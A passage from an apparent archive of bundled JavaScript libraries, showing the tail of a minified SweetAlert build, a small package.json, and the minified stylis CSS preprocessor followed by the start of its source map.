"+u(n)+" argument ('"+r+"') to be a plain object")},p=function(t,e){var n=t+1,r=e[n];void 0!==r&&o.throwErr("Unexpected "+u(n)+" argument ("+r+")")},m=function(t,e,n,r){var i=typeof e,a="string"===i,s=e instanceof Element;if(a){if(0===n)return{text:e};if(1===n)return{text:e,title:r[0]};if(2===n)return d(n,r),{icon:e};f(e,n)}else{if(s&&0===n)return d(n,r),{content:e};if(o.isPlainObject(e))return p(n,r),e;f(e,n)}};e.getOpts=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n={};t.forEach(function(e,o){var r=m(0,e,o,t);Object.assign(n,r)});var o=l(n);n.buttons=r.getButtonListOpts(o),delete n.button,n.content=i.getContentOpts(n.content);var u=Object.assign({},s,c,n);return Object.keys(u).forEach(function(t){a.DEPRECATED_OPTS[t]&&a.logDeprecation(t)}),u}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=n(1),r={element:"input",attributes:{placeholder:""}};e.getContentOpts=function(t){var e={};return o.isPlainObject(t)?Object.assign(e,t):t instanceof Element?{element:t}:"input"===t?r:null}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.logDeprecation=function(t){var n=e.DEPRECATED_OPTS[t],o=n.onlyRename,r=n.replacement,i=n.subOption,a=n.link,s=o?"renamed":"deprecated",c='SweetAlert warning: "'+t+'" option has been '+s+".";if(r){c+=" Please use"+(i?' "'+i+'" in ':" ")+'"'+r+'" instead.'}var l="https://sweetalert.js.org";c+=a?" More details: "+l+a:" More details: "+l+"/guides/#upgrading-from-1x",console.warn(c)},e.DEPRECATED_OPTS={type:{replacement:"icon",link:"/docs/#icon"},imageUrl:{replacement:"icon",link:"/docs/#icon"},customClass:{replacement:"className",onlyRename:!0,link:"/docs/#classname"},imageSize:{},showCancelButton:{replacement:"buttons",link:"/docs/#buttons"},showConfirmButton:{replacement:"button",link:"/docs/#button"},confirmButtonText:{replacement:"button",link:"/docs/#button"},confirmButtonColor:{},cancelButtonText:{replacement:"buttons",link:"/docs/#buttons"},closeOnConfirm:{replacement:"button",subOption:"closeModal",link:"/docs/#button"},closeOnCancel:{replacement:"buttons",subOption:"closeModal",link:"/docs/#buttons"},showLoaderOnConfirm:{replacement:"buttons"},animation:{},inputType:{replacement:"content",link:"/docs/#content"},inputValue:{replacement:"content",link:"/docs/#content"},inputPlaceholder:{replacement:"content",link:"/docs/#content"},html:{replacement:"content",link:"/docs/#content"},allowEscapeKey:{replacement:"closeOnEsc",onlyRename:!0,link:"/docs/#closeonesc"},allowClickOutside:{replacement:"closeOnClickOutside",onlyRename:!0,link:"/docs/#closeonclickoutside"}}}])});umd/package.json000064400000000027151677356410007635 0ustar00{ "type": "commonjs" }
umd/stylis.js000064400000023426151677356410007244 0ustar00(function(e,r){typeof exports==="object"&&typeof module!=="undefined"?r(exports):typeof define==="function"&&define.amd?define(["exports"],r):(e=e||self,r(e.stylis={}))})(this,(function(e){"use strict";var r="-ms-";var a="-moz-";var c="-webkit-";var n="comm";var t="rule";var s="decl";var i="@page";var u="@media";var o="@import";var f="@charset";var l="@viewport";var p="@supports";var h="@document";var v="@namespace";var d="@keyframes";var b="@font-face";var w="@counter-style";var m="@font-feature-values";var g="@layer";var k=Math.abs;var $=String.fromCharCode;var x=Object.assign;function E(e,r){return M(e,0)^45?(((r<<2^M(e,0))<<2^M(e,1))<<2^M(e,2))<<2^M(e,3):0}function y(e){return e.trim()}function T(e,r){return(e=r.exec(e))?e[0]:e}function A(e,r,a){return e.replace(r,a)}function O(e,r){return e.indexOf(r)}function M(e,r){return e.charCodeAt(r)|0}function C(e,r,a){return e.slice(r,a)}function R(e){return e.length}function S(e){return e.length}function z(e,r){return r.push(e),e}function N(e,r){return e.map(r).join("")}e.line=1;e.column=1;e.length=0;e.position=0;e.character=0;e.characters="";function P(r,a,c,n,t,s,i){return{value:r,root:a,parent:c,type:n,props:t,children:s,line:e.line,column:e.column,length:i,return:""}}function j(e,r){return x(P("",null,null,"",null,null,0),e,{length:-e.length},r)}function U(){return e.character}function _(){e.character=e.position>0?M(e.characters,--e.position):0;if(e.column--,e.character===10)e.column=1,e.line--;return e.character}function F(){e.character=e.position<e.length?M(e.characters,e.position++):0;if(e.column++,e.character===10)e.column=1,e.line++;return e.character}function I(){return M(e.characters,e.position)}function L(){return e.position}function D(r,a){return C(e.characters,r,a)}function Y(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function K(r){return e.line=e.column=1,e.length=R(e.characters=r),e.position=0,[]}function V(r){return e.characters="",r}function W(r){return y(D(e.position-1,q(r===91?r+2:r===40?r+1:r)))}function B(e){return V(H(K(e)))}function G(r){while(e.character=I())if(e.character<33)F();else break;return Y(r)>2||Y(e.character)>3?"":" "}function H(r){while(F())switch(Y(e.character)){case 0:z(Q(e.position-1),r);break;case 2:z(W(e.character),r);break;default:z($(e.character),r)}return r}function Z(r,a){while(--a&&F())if(e.character<48||e.character>102||e.character>57&&e.character<65||e.character>70&&e.character<97)break;return D(r,L()+(a<6&&I()==32&&F()==32))}function q(r){while(F())switch(e.character){case r:return e.position;case 34:case 39:if(r!==34&&r!==39)q(e.character);break;case 40:if(r===41)q(r);break;case 92:F();break}return e.position}function J(r,a){while(F())if(r+e.character===47+10)break;else if(r+e.character===42+42&&I()===47)break;return"/*"+D(a,e.position-1)+"*"+$(r===47?r:F())}function Q(r){while(!Y(I()))F();return D(r,e.position)}function X(e){return V(ee("",null,null,null,[""],e=K(e),0,[0],e))}function ee(e,r,a,c,n,t,s,i,u){var o=0;var f=0;var l=s;var p=0;var h=0;var v=0;var d=1;var b=1;var w=1;var m=0;var g="";var k=n;var x=t;var E=c;var y=g;while(b)switch(v=m,m=F()){case 40:if(v!=108&&M(y,l-1)==58){if(O(y+=A(W(m),"&","&\f"),"&\f")!=-1)w=-1;break}case 34:case 39:case 91:y+=W(m);break;case 9:case 10:case 13:case 32:y+=G(v);break;case 92:y+=Z(L()-1,7);continue;case 47:switch(I()){case 42:case 47:z(ae(J(F(),L()),r,a),u);break;default:y+="/"}break;case 123*d:i[o++]=R(y)*w;case 125*d:case 59:case 0:switch(m){case 0:case 125:b=0;case 59+f:if(w==-1)y=A(y,/\f/g,"");if(h>0&&R(y)-l)z(h>32?ce(y+";",c,a,l-1):ce(A(y," ","")+";",c,a,l-2),u);break;case 59:y+=";";default:z(E=re(y,r,a,o,f,n,i,g,k=[],x=[],l),t);if(m===123)if(f===0)ee(y,r,E,E,k,t,l,i,x);else switch(p===99&&M(y,3)===110?100:p){case 100:case 108:case 109:case 115:ee(e,E,E,c&&z(re(e,E,E,0,0,n,i,g,n,k=[],l),x),n,x,l,i,c?k:x);break;default:ee(y,E,E,E,[""],x,0,i,x)}}o=f=h=0,d=w=1,g=y="",l=s;break;case 58:l=1+R(y),h=v;default:if(d<1)if(m==123)--d;else if(m==125&&d++==0&&_()==125)continue;switch(y+=$(m),m*d){case 38:w=f>0?1:(y+="\f",-1);break;case 44:i[o++]=(R(y)-1)*w,w=1;break;case 64:if(I()===45)y+=W(F());p=I(),f=l=R(g=y+=Q(L())),m++;break;case 45:if(v===45&&R(y)==2)d=0}}return t}function re(e,r,a,c,n,s,i,u,o,f,l){var p=n-1;var h=n===0?s:[""];var v=S(h);for(var d=0,b=0,w=0;d<c;++d)for(var m=0,g=C(e,p+1,p=k(b=i[d])),$=e;m<v;++m)if($=y(b>0?h[m]+" "+g:A(g,/&\f/g,h[m])))o[w++]=$;return P(e,r,a,n===0?t:u,o,f,l)}function ae(e,r,a){return P(e,r,a,n,$(U()),C(e,2,-2),0)}function ce(e,r,a,c){return P(e,r,a,s,C(e,0,c),C(e,c+1,-1),c)}function ne(e,n,t){switch(E(e,n)){case 5103:return c+"print-"+e+e;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return c+e+e;case 4789:return a+e+e;case 5349:case 4246:case 4810:case 6968:case 2756:return c+e+a+e+r+e+e;case 5936:switch(M(e,n+11)){case 114:return c+e+r+A(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return c+e+r+A(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return c+e+r+A(e,/[svh]\w+-[tblr]{2}/,"lr")+e}case 6828:case 4268:case 2903:return c+e+r+e+e;case 6165:return c+e+r+"flex-"+e+e;case 5187:return c+e+A(e,/(\w+).+(:[^]+)/,c+"box-$1$2"+r+"flex-$1$2")+e;case 5443:return c+e+r+"flex-item-"+A(e,/flex-|-self/g,"")+(!T(e,/flex-|baseline/)?r+"grid-row-"+A(e,/flex-|-self/g,""):"")+e;case 4675:return c+e+r+"flex-line-pack"+A(e,/align-content|flex-|-self/g,"")+e;case 5548:return c+e+r+A(e,"shrink","negative")+e;case 5292:return c+e+r+A(e,"basis","preferred-size")+e;case 6060:return c+"box-"+A(e,"-grow","")+c+e+r+A(e,"grow","positive")+e;case 4554:return c+A(e,/([^-])(transform)/g,"$1"+c+"$2")+e;case 6187:return A(A(A(e,/(zoom-|grab)/,c+"$1"),/(image-set)/,c+"$1"),e,"")+e;case 5495:case 3959:return A(e,/(image-set\([^]*)/,c+"$1"+"$`$1");case 4968:return A(A(e,/(.+:)(flex-)?(.*)/,c+"box-pack:$3"+r+"flex-pack:$3"),/s.+-b[^;]+/,"justify")+c+e+e;case 4200:if(!T(e,/flex-|baseline/))return r+"grid-column-align"+C(e,n)+e;break;case 2592:case 3360:return r+A(e,"template-","")+e;case 4384:case 3616:if(t&&t.some((function(e,r){return n=r,T(e.props,/grid-\w+-end/)}))){return~O(e+(t=t[n].value),"span")?e:r+A(e,"-start","")+e+r+"grid-row-span:"+(~O(t,"span")?T(t,/\d+/):+T(t,/\d+/)-+T(e,/\d+/))+";"}return r+A(e,"-start","")+e;case 4896:case 4128:return t&&t.some((function(e){return T(e.props,/grid-\w+-start/)}))?e:r+A(A(e,"-end","-span"),"span ","")+e;case 4095:case 3583:case 4068:case 2532:return A(e,/(.+)-inline(.+)/,c+"$1$2")+e;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(R(e)-1-n>6)switch(M(e,n+1)){case 109:if(M(e,n+4)!==45)break;case 102:return A(e,/(.+:)(.+)-([^]+)/,"$1"+c+"$2-$3"+"$1"+a+(M(e,n+3)==108?"$3":"$2-$3"))+e;case 115:return~O(e,"stretch")?ne(A(e,"stretch","fill-available"),n,t)+e:e}break;case 5152:case 5920:return A(e,/(.+?):(\d+)(\s*\/\s*(span)?\s*(\d+))?(.*)/,(function(a,c,n,t,s,i,u){return r+c+":"+n+u+(t?r+c+"-span:"+(s?i:+i-+n)+u:"")+e}));case 4949:if(M(e,n+6)===121)return A(e,":",":"+c)+e;break;case 6444:switch(M(e,M(e,14)===45?18:11)){case 120:return A(e,/(.+:)([^;\s!]+)(;|(\s+)?!.+)?/,"$1"+c+(M(e,14)===45?"inline-":"")+"box$3"+"$1"+c+"$2$3"+"$1"+r+"$2box$3")+e;case 100:return A(e,":",":"+r)+e}break;case 5719:case 2647:case 2135:case 3927:case 2391:return A(e,"scroll-","scroll-snap-")+e}return e}function te(e,r){var a="";var c=S(e);for(var n=0;n<c;n++)a+=r(e[n],n,e,r)||"";return a}function se(e,r,a,c){switch(e.type){case g:if(e.children.length)break;case o:case s:return e.return=e.return||e.value;case n:return"";case d:return e.return=e.value+"{"+te(e.children,c)+"}";case t:e.value=e.props.join(",")}return R(a=te(e.children,c))?e.return=e.value+"{"+a+"}":""}function ie(e){var r=S(e);return function(a,c,n,t){var s="";for(var i=0;i<r;i++)s+=e[i](a,c,n,t)||"";return s}}function ue(e){return function(r){if(!r.root)if(r=r.return)e(r)}}function oe(e,n,i,u){if(e.length>-1)if(!e.return)switch(e.type){case s:e.return=ne(e.value,e.length,i);return;case d:return te([j(e,{value:A(e.value,"@","@"+c)})],u);case t:if(e.length)return N(e.props,(function(n){switch(T(n,/(::plac\w+|:read-\w+)/)){case":read-only":case":read-write":return te([j(e,{props:[A(n,/:(read-\w+)/,":"+a+"$1")]})],u);case"::placeholder":return te([j(e,{props:[A(n,/:(plac\w+)/,":"+c+"input-$1")]}),j(e,{props:[A(n,/:(plac\w+)/,":"+a+"$1")]}),j(e,{props:[A(n,/:(plac\w+)/,r+"input-$1")]})],u)}return""}))}}function fe(e){switch(e.type){case t:e.props=e.props.map((function(r){return N(B(r),(function(r,a,c){switch(M(r,0)){case 12:return C(r,1,R(r));case 0:case 40:case 43:case 62:case 126:return r;case 58:if(c[++a]==="global")c[a]="",c[++a]="\f"+C(c[a],a=1,-1);case 32:return a===1?"":r;default:switch(a){case 0:e=r;return S(c)>1?"":r;case a=S(c)-1:case 2:return a===2?r+e+e:r+e;default:return r}}}))}))}}e.CHARSET=f;e.COMMENT=n;e.COUNTER_STYLE=w;e.DECLARATION=s;e.DOCUMENT=h;e.FONT_FACE=b;e.FONT_FEATURE_VALUES=m;e.IMPORT=o;e.KEYFRAMES=d;e.LAYER=g;e.MEDIA=u;e.MOZ=a;e.MS=r;e.NAMESPACE=v;e.PAGE=i;e.RULESET=t;e.SUPPORTS=p;e.VIEWPORT=l;e.WEBKIT=c;e.abs=k;e.alloc=K;e.append=z;e.assign=x;e.caret=L;e.char=U;e.charat=M;e.combine=N;e.comment=ae;e.commenter=J;e.compile=X;e.copy=j;e.dealloc=V;e.declaration=ce;e.delimit=W;e.delimiter=q;e.escaping=Z;e.from=$;e.hash=E;e.identifier=Q;e.indexof=O;e.match=T;e.middleware=ie;e.namespace=fe;e.next=F;e.node=P;e.parse=ee;e.peek=I;e.prefix=ne;e.prefixer=oe;e.prev=_;e.replace=A;e.ruleset=re;e.rulesheet=ue;e.serialize=te;e.sizeof=S;e.slice=D;e.stringify=se;e.strlen=R;e.substr=C;e.token=Y;e.tokenize=B;e.tokenizer=H;e.trim=y;e.whitespace=G;Object.defineProperty(e,"__esModule",{value:true})}));
//# sourceMappingURL=stylis.js.map
umd/stylis.js.map000064400000115722151677356410010021 0ustar00{"version":3,"file":"stylis.js","sources":["../../src/Enum.js","../../src/Utility.js","../../src/Tokenizer.js","../../src/Parser.js","../../src/Prefixer.js","../../src/Serializer.js","../../src/Middleware.js"],"sourcesContent":["export var MS = '-ms-'\nexport var MOZ = '-moz-'\nexport var WEBKIT = '-webkit-'\n\nexport var COMMENT = 'comm'\nexport var RULESET = 'rule'\nexport var DECLARATION = 'decl'\n\nexport var PAGE = '@page'\nexport var MEDIA = '@media'\nexport var IMPORT = '@import'\nexport var CHARSET = '@charset'\nexport var VIEWPORT = '@viewport'\nexport var SUPPORTS = '@supports'\nexport var DOCUMENT = '@document'\nexport var NAMESPACE = '@namespace'\nexport var KEYFRAMES = '@keyframes'\nexport var FONT_FACE = '@font-face'\nexport var COUNTER_STYLE = '@counter-style'\nexport var FONT_FEATURE_VALUES = '@font-feature-values'\nexport var LAYER = '@layer'\n","/**\n * @param {number}\n * @return {number}\n */\nexport var abs = Math.abs\n\n/**\n * @param {number}\n * @return {string}\n */\nexport var from = String.fromCharCode\n\n/**\n * @param {object}\n * @return {object}\n */\nexport var assign = Object.assign\n\n/**\n * @param {string} value\n * @param {number} length\n * @return {number}\n */\nexport function hash (value, length) {\n\treturn charat(value, 0) ^ 45 ? (((((((length << 2) ^ charat(value, 0)) << 2) ^ charat(value, 1)) << 2) ^ charat(value, 2)) << 2) ^ charat(value, 3) : 0\n}\n\n/**\n * @param {string} value\n * @return {string}\n */\nexport function trim (value) {\n\treturn value.trim()\n}\n\n/**\n * @param {string} value\n * @param {RegExp} pattern\n * @return {string?}\n */\nexport function match (value, pattern) {\n\treturn (value = pattern.exec(value)) ? value[0] : value\n}\n\n/**\n * @param {string} value\n * @param {(string|RegExp)} pattern\n * @param {string} replacement\n * @return {string}\n */\nexport function replace (value, pattern, replacement) {\n\treturn value.replace(pattern, replacement)\n}\n\n/**\n * @param {string} value\n * @param {string} search\n * @return {number}\n */\nexport function indexof (value, search) {\n\treturn value.indexOf(search)\n}\n\n/**\n * @param {string} value\n * @param {number} index\n * @return {number}\n */\nexport function charat (value, index) {\n\treturn value.charCodeAt(index) | 0\n}\n\n/**\n * @param {string} value\n * @param {number} begin\n * @param {number} end\n * @return {string}\n */\nexport function substr (value, begin, end) {\n\treturn value.slice(begin, end)\n}\n\n/**\n * @param {string} value\n * @return {number}\n */\nexport function strlen (value) {\n\treturn value.length\n}\n\n/**\n * @param {any[]} value\n * @return {number}\n */\nexport function sizeof (value) {\n\treturn value.length\n}\n\n/**\n * @param {any} value\n * @param {any[]} array\n * @return {any}\n */\nexport function append (value, array) {\n\treturn array.push(value), value\n}\n\n/**\n * @param {string[]} array\n * @param {function} callback\n * @return {string}\n */\nexport function combine (array, callback) {\n\treturn array.map(callback).join('')\n}\n","import {from, trim, charat, strlen, substr, append, assign} from './Utility.js'\n\nexport var line = 1\nexport var column = 1\nexport var length = 0\nexport var position = 0\nexport var character = 0\nexport var characters = ''\n\n/**\n * @param {string} value\n * @param {object | null} root\n * @param {object | null} parent\n * @param {string} type\n * @param {string[] | string} props\n * @param {object[] | string} children\n * @param {number} length\n */\nexport function node (value, root, parent, type, props, children, length) {\n\treturn {value: value, root: root, parent: parent, type: type, props: props, children: children, line: line, column: column, length: length, return: ''}\n}\n\n/**\n * @param {object} root\n * @param {object} props\n * @return {object}\n */\nexport function copy (root, props) {\n\treturn assign(node('', null, null, '', null, null, 0), root, {length: -root.length}, props)\n}\n\n/**\n * @return {number}\n */\nexport function char () {\n\treturn character\n}\n\n/**\n * @return {number}\n */\nexport function prev () {\n\tcharacter = position > 0 ? charat(characters, --position) : 0\n\n\tif (column--, character === 10)\n\t\tcolumn = 1, line--\n\n\treturn character\n}\n\n/**\n * @return {number}\n */\nexport function next () {\n\tcharacter = position < length ? charat(characters, position++) : 0\n\n\tif (column++, character === 10)\n\t\tcolumn = 1, line++\n\n\treturn character\n}\n\n/**\n * @return {number}\n */\nexport function peek () {\n\treturn charat(characters, position)\n}\n\n/**\n * @return {number}\n */\nexport function caret () {\n\treturn position\n}\n\n/**\n * @param {number} begin\n * @param {number} end\n * @return {string}\n */\nexport function slice (begin, end) {\n\treturn substr(characters, begin, end)\n}\n\n/**\n * @param {number} type\n * @return {number}\n */\nexport function token (type) {\n\tswitch (type) {\n\t\t// \\0 \\t \\n \\r \\s whitespace token\n\t\tcase 0: case 9: case 10: case 13: case 32:\n\t\t\treturn 5\n\t\t// ! + , / > @ ~ isolate token\n\t\tcase 33: case 43: case 44: case 47: case 62: case 64: case 126:\n\t\t// ; { } breakpoint token\n\t\tcase 59: case 123: case 125:\n\t\t\treturn 4\n\t\t// : accompanied token\n\t\tcase 58:\n\t\t\treturn 3\n\t\t// \" ' ( [ opening delimit token\n\t\tcase 34: case 39: case 40: case 91:\n\t\t\treturn 2\n\t\t// ) ] closing delimit token\n\t\tcase 41: case 93:\n\t\t\treturn 1\n\t}\n\n\treturn 0\n}\n\n/**\n * @param {string} value\n * @return {any[]}\n */\nexport function alloc (value) {\n\treturn line = column = 1, length = strlen(characters = value), position = 0, []\n}\n\n/**\n * @param {any} value\n * @return {any}\n */\nexport function dealloc (value) {\n\treturn characters = '', value\n}\n\n/**\n * @param {number} type\n * @return {string}\n */\nexport function delimit (type) {\n\treturn trim(slice(position - 1, delimiter(type === 91 ? type + 2 : type === 40 ? type + 1 : type)))\n}\n\n/**\n * @param {string} value\n * @return {string[]}\n */\nexport function tokenize (value) {\n\treturn dealloc(tokenizer(alloc(value)))\n}\n\n/**\n * @param {number} type\n * @return {string}\n */\nexport function whitespace (type) {\n\twhile (character = peek())\n\t\tif (character < 33)\n\t\t\tnext()\n\t\telse\n\t\t\tbreak\n\n\treturn token(type) > 2 || token(character) > 3 ? '' : ' '\n}\n\n/**\n * @param {string[]} children\n * @return {string[]}\n */\nexport function tokenizer (children) {\n\twhile (next())\n\t\tswitch (token(character)) {\n\t\t\tcase 0: append(identifier(position - 1), children)\n\t\t\t\tbreak\n\t\t\tcase 2: append(delimit(character), children)\n\t\t\t\tbreak\n\t\t\tdefault: append(from(character), children)\n\t\t}\n\n\treturn children\n}\n\n/**\n * @param {number} index\n * @param {number} count\n * @return {string}\n */\nexport function escaping (index, count) {\n\twhile (--count && next())\n\t\t// not 0-9 A-F a-f\n\t\tif (character < 48 || character > 102 || (character > 57 && character < 65) || (character > 70 && character < 97))\n\t\t\tbreak\n\n\treturn slice(index, caret() + (count < 6 && peek() == 32 && next() == 32))\n}\n\n/**\n * @param {number} type\n * @return {number}\n */\nexport function delimiter (type) {\n\twhile (next())\n\t\tswitch (character) {\n\t\t\t// ] ) \" '\n\t\t\tcase type:\n\t\t\t\treturn position\n\t\t\t// \" '\n\t\t\tcase 34: case 39:\n\t\t\t\tif (type !== 34 && type !== 39)\n\t\t\t\t\tdelimiter(character)\n\t\t\t\tbreak\n\t\t\t// (\n\t\t\tcase 40:\n\t\t\t\tif (type === 41)\n\t\t\t\t\tdelimiter(type)\n\t\t\t\tbreak\n\t\t\t// \\\n\t\t\tcase 92:\n\t\t\t\tnext()\n\t\t\t\tbreak\n\t\t}\n\n\treturn position\n}\n\n/**\n * @param {number} type\n * @param {number} index\n * @return {number}\n */\nexport function commenter (type, index) {\n\twhile (next())\n\t\t// //\n\t\tif (type + character === 47 + 10)\n\t\t\tbreak\n\t\t// /*\n\t\telse if (type + character === 42 + 42 && peek() === 47)\n\t\t\tbreak\n\n\treturn '/*' + slice(index, position - 1) + '*' + from(type === 47 ? type : next())\n}\n\n/**\n * @param {number} index\n * @return {string}\n */\nexport function identifier (index) {\n\twhile (!token(peek()))\n\t\tnext()\n\n\treturn slice(index, position)\n}\n","import {COMMENT, RULESET, DECLARATION} from './Enum.js'\nimport {abs, charat, trim, from, sizeof, strlen, substr, append, replace, indexof} from './Utility.js'\nimport {node, char, prev, next, peek, caret, alloc, dealloc, delimit, whitespace, escaping, identifier, commenter} from './Tokenizer.js'\n\n/**\n * @param {string} value\n * @return {object[]}\n */\nexport function compile (value) {\n\treturn dealloc(parse('', null, null, null, [''], value = alloc(value), 0, [0], value))\n}\n\n/**\n * @param {string} value\n * @param {object} root\n * @param {object?} parent\n * @param {string[]} rule\n * @param {string[]} rules\n * @param {string[]} rulesets\n * @param {number[]} pseudo\n * @param {number[]} points\n * @param {string[]} declarations\n * @return {object}\n */\nexport function parse (value, root, parent, rule, rules, rulesets, pseudo, points, declarations) {\n\tvar index = 0\n\tvar offset = 0\n\tvar length = pseudo\n\tvar atrule = 0\n\tvar property = 0\n\tvar previous = 0\n\tvar variable = 1\n\tvar scanning = 1\n\tvar ampersand = 1\n\tvar character = 0\n\tvar type = ''\n\tvar props = rules\n\tvar children = rulesets\n\tvar reference = rule\n\tvar characters = type\n\n\twhile (scanning)\n\t\tswitch (previous = character, character = next()) {\n\t\t\t// (\n\t\t\tcase 40:\n\t\t\t\tif (previous != 108 && charat(characters, length - 1) == 58) {\n\t\t\t\t\tif (indexof(characters += replace(delimit(character), '&', '&\\f'), '&\\f') != -1)\n\t\t\t\t\t\tampersand = -1\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t// \" ' [\n\t\t\tcase 34: case 39: case 91:\n\t\t\t\tcharacters += delimit(character)\n\t\t\t\tbreak\n\t\t\t// \\t \\n \\r \\s\n\t\t\tcase 9: case 10: case 13: case 32:\n\t\t\t\tcharacters += whitespace(previous)\n\t\t\t\tbreak\n\t\t\t// \\\n\t\t\tcase 92:\n\t\t\t\tcharacters += escaping(caret() - 1, 7)\n\t\t\t\tcontinue\n\t\t\t// /\n\t\t\tcase 47:\n\t\t\t\tswitch (peek()) {\n\t\t\t\t\tcase 42: case 47:\n\t\t\t\t\t\tappend(comment(commenter(next(), caret()), root, parent), declarations)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tcharacters += '/'\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t// {\n\t\t\tcase 123 * variable:\n\t\t\t\tpoints[index++] = strlen(characters) * ampersand\n\t\t\t// } ; \\0\n\t\t\tcase 125 * variable: case 59: case 0:\n\t\t\t\tswitch (character) {\n\t\t\t\t\t// \\0 }\n\t\t\t\t\tcase 0: case 125: scanning = 0\n\t\t\t\t\t// ;\n\t\t\t\t\tcase 59 + offset: if (ampersand == -1) characters = replace(characters, /\\f/g, '')\n\t\t\t\t\t\tif (property > 0 && (strlen(characters) - length))\n\t\t\t\t\t\t\tappend(property > 32 ? declaration(characters + ';', rule, parent, length - 1) : declaration(replace(characters, ' ', '') + ';', rule, parent, length - 2), declarations)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// @ ;\n\t\t\t\t\tcase 59: characters += ';'\n\t\t\t\t\t// { rule/at-rule\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tappend(reference = ruleset(characters, root, parent, index, offset, rules, points, type, props = [], children = [], length), rulesets)\n\n\t\t\t\t\t\tif (character === 123)\n\t\t\t\t\t\t\tif (offset === 0)\n\t\t\t\t\t\t\t\tparse(characters, root, reference, reference, props, rulesets, length, points, children)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tswitch (atrule === 99 && charat(characters, 3) === 110 ? 100 : atrule) {\n\t\t\t\t\t\t\t\t\t// d l m s\n\t\t\t\t\t\t\t\t\tcase 100: case 108: case 109: case 115:\n\t\t\t\t\t\t\t\t\t\tparse(value, reference, reference, rule && append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length), children), rules, children, length, points, rule ? props : children)\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\tparse(characters, reference, reference, reference, [''], children, 0, points, children)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tindex = offset = property = 0, variable = ampersand = 1, type = characters = '', length = pseudo\n\t\t\t\tbreak\n\t\t\t// :\n\t\t\tcase 58:\n\t\t\t\tlength = 1 + strlen(characters), property = previous\n\t\t\tdefault:\n\t\t\t\tif (variable < 1)\n\t\t\t\t\tif (character == 123)\n\t\t\t\t\t\t--variable\n\t\t\t\t\telse if (character == 125 && variable++ == 0 && prev() == 125)\n\t\t\t\t\t\tcontinue\n\n\t\t\t\tswitch (characters += from(character), character * variable) {\n\t\t\t\t\t// &\n\t\t\t\t\tcase 38:\n\t\t\t\t\t\tampersand = offset > 0 ? 1 : (characters += '\\f', -1)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// ,\n\t\t\t\t\tcase 44:\n\t\t\t\t\t\tpoints[index++] = (strlen(characters) - 1) * ampersand, ampersand = 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// @\n\t\t\t\t\tcase 64:\n\t\t\t\t\t\t// -\n\t\t\t\t\t\tif (peek() === 45)\n\t\t\t\t\t\t\tcharacters += delimit(next())\n\n\t\t\t\t\t\tatrule = peek(), offset = length = strlen(type = characters += identifier(caret())), character++\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// -\n\t\t\t\t\tcase 45:\n\t\t\t\t\t\tif (previous === 45 && strlen(characters) == 2)\n\t\t\t\t\t\t\tvariable = 0\n\t\t\t\t}\n\t\t}\n\n\treturn rulesets\n}\n\n/**\n * @param {string} value\n * @param {object} root\n * @param {object?} parent\n * @param {number} index\n * @param {number} offset\n * @param {string[]} rules\n * @param {number[]} points\n * @param {string} type\n * @param {string[]} props\n * @param {string[]} children\n * @param {number} length\n * @return {object}\n */\nexport function ruleset (value, root, parent, index, offset, rules, points, type, props, children, length) {\n\tvar post = offset - 1\n\tvar rule = offset === 0 ? rules : ['']\n\tvar size = sizeof(rule)\n\n\tfor (var i = 0, j = 0, k = 0; i < index; ++i)\n\t\tfor (var x = 0, y = substr(value, post + 1, post = abs(j = points[i])), z = value; x < size; ++x)\n\t\t\tif (z = trim(j > 0 ? rule[x] + ' ' + y : replace(y, /&\\f/g, rule[x])))\n\t\t\t\tprops[k++] = z\n\n\treturn node(value, root, parent, offset === 0 ? RULESET : type, props, children, length)\n}\n\n/**\n * @param {number} value\n * @param {object} root\n * @param {object?} parent\n * @return {object}\n */\nexport function comment (value, root, parent) {\n\treturn node(value, root, parent, COMMENT, from(char()), substr(value, 2, -2), 0)\n}\n\n/**\n * @param {string} value\n * @param {object} root\n * @param {object?} parent\n * @param {number} length\n * @return {object}\n */\nexport function declaration (value, root, parent, length) {\n\treturn node(value, root, parent, DECLARATION, substr(value, 0, length), substr(value, length + 1, -1), length)\n}\n","import {MS, MOZ, WEBKIT} from './Enum.js'\nimport {hash, charat, strlen, indexof, replace, substr, match} from './Utility.js'\n\n/**\n * @param {string} value\n * @param {number} length\n * @param {object[]} children\n * @return {string}\n */\nexport function prefix (value, length, children) {\n\tswitch (hash(value, length)) {\n\t\t// color-adjust\n\t\tcase 5103:\n\t\t\treturn WEBKIT + 'print-' + value + value\n\t\t// animation, animation-(delay|direction|duration|fill-mode|iteration-count|name|play-state|timing-function)\n\t\tcase 5737: case 4201: case 3177: case 3433: case 1641: case 4457: case 2921:\n\t\t// text-decoration, filter, clip-path, backface-visibility, column, box-decoration-break\n\t\tcase 5572: case 6356: case 5844: case 3191: case 6645: case 3005:\n\t\t// mask, mask-image, mask-(mode|clip|size), mask-(repeat|origin), mask-position, mask-composite,\n\t\tcase 6391: case 5879: case 5623: case 6135: case 4599: case 